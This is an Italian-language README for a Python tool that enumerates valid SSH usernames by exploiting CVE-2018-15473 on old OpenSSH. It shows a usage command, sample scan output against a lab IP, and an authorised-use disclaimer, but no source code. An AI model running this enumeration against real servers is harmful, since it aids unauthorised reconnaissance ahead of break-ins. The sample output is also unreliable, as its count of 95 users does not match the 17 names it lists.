CVE-2018-15473 – Enumerazione Username SSH

Uno strumento Python sviluppato da me per identificare username SSH validi sfruttando CVE-2018-15473.

Informazioni sul Target

Servizio: SSH
Versione: OpenSSH 5.8p1 Debian 1ubuntu3
Sistema Operativo: Ubuntu Linux
Protocollo: SSH-2.0
Valutazione: Testato per CVE-2018-15473 (Enumerazione Username SSH)

Linguaggio

Python 3

Caratteristiche

Sviluppato in Python 3.
Enumera username SSH validi utilizzando CVE-2018-15473.
Supporta wordlist personalizzate di username.
Mostra gli username scoperti in tempo reale.
Fornisce un riepilogo di tutti gli username validi al termine della scansione.
Leggero e facile da usare.

Utilizzo

python3 enum_ssh.py usernames.txt

Dove usernames.txt contiene l'elenco degli username da testare.

Output di Esempio

[parrot@parrot]-[~]
$ python3 enum_ssh.py usernames.txt

[*] Starting CVE-2018-15473 enumeration against 10.10.10.100:22
[*] Using wordlist: usernames.txt

[+] [EXISTS] -> root
[+] [EXISTS] -> admin
[+] [EXISTS] -> administrator
[+] [EXISTS] -> user
[+] [EXISTS] -> test
[+] [EXISTS] -> guest
[+] [EXISTS] -> demo
[+] [EXISTS] -> operator
[+] [EXISTS] -> sysadmin
[+] [EXISTS] -> security
[+] [EXISTS] -> netadmin
[+] [EXISTS] -> webmaster
[+] [EXISTS] -> support
[+] [EXISTS] -> service
[+] [EXISTS] -> ubuntu
[+] [EXISTS] -> debian
[+] [EXISTS] -> centos
[+] [EXISTS] -> fedora
[+] [EXISTS] -> kali
[+] [EXISTS] -> parrot

========================================
[*] Scan complete.
[*] Found 95 valid user(s):

    - root
    - admin
    - administrator
    - user
    - test
    - guest
    - demo
    - operator
    - sysadmin
    - security
    - netadmin
    - webmaster
    - support
    - service
    - ubuntu
    - debian
    - centos

========================================

Dichiarazione di non responsabilità

Questo strumento è destinato esclusivamente a scopi educativi e test di sicurezza autorizzati. Usalo solo su sistemi per i quali hai esplicita autorizzazione.

CVE-2018-15473-User-Enumeration-

Più Popolari